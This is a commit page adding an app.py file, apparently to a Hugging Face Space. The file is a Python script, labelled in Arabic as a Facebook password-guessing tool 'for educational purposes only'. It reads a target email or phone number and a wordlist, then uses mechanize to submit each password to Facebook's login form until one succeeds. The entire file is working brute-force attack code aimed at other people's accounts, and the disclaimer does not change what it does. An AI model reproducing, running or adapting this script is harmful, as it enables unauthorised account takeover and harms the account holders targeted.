Mazenvip12 commited on
Commit
14bd436
·
verified ·
1 Parent(s): eb99ce0

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +48 -0
app.py CHANGED
@@ -0,0 +1,48 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ from bs4 import BeautifulSoup
3
+ import mechanize
4
+ import sys
5
+
6
+ def facebook_cracker():
7
+ print("\n\n\t\t=== أداة تخمين كلمة مرور فيسبوك ===")
8
+ print("\t\t(هذا الكود للأغراض التعليمية فقط)\n")
9
+
10
+ email = input("أدخل البريد الإلكتروني أو رقم الهاتف: ")
11
+ password_list = input("أدخل مسار ملف كلمات المرور (wordlist.txt): ")
12
+
13
+ try:
14
+ with open(password_list, 'r') as file:
15
+ passwords = file.readlines()
16
+ except:
17
+ print("\n[!] خطأ في فتح ملف كلمات المرور")
18
+ sys.exit(1)
19
+
20
+ br = mechanize.Browser()
21
+ br.set_handle_robots(False)
22
+ br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36')]
23
+
24
+ print("\n[+] بدء عملية التخمين...")
25
+
26
+ for password in passwords:
27
+ password = password.strip()
28
+ try:
29
+ br.open("https://www.facebook.com/login.php")
30
+ br.select_form(nr=0)
31
+ br.form['email'] = email
32
+ br.form['pass'] = password
33
+ response = br.submit()
34
+
35
+ if "login_attempt" not in response.geturl():
36
+ print("\n[+] تم العثور على كلمة المرور!")
37
+ print(f"[+] كلمة المرور هي: {password}")
38
+ sys.exit(0)
39
+ else:
40
+ print(f"[-] تجربة كلمة المرور: {password} - فشلت")
41
+ except:
42
+ print("\n[!] حدث خطأ أثناء الاتصال بفيسبوك")
43
+ sys.exit(1)
44
+
45
+ print("\n[-] لم يتم العثور على كلمة المرور في القائمة المقدمة")
46
+
47
+ if __name__ == "__main__":
48
+ facebook_cracker()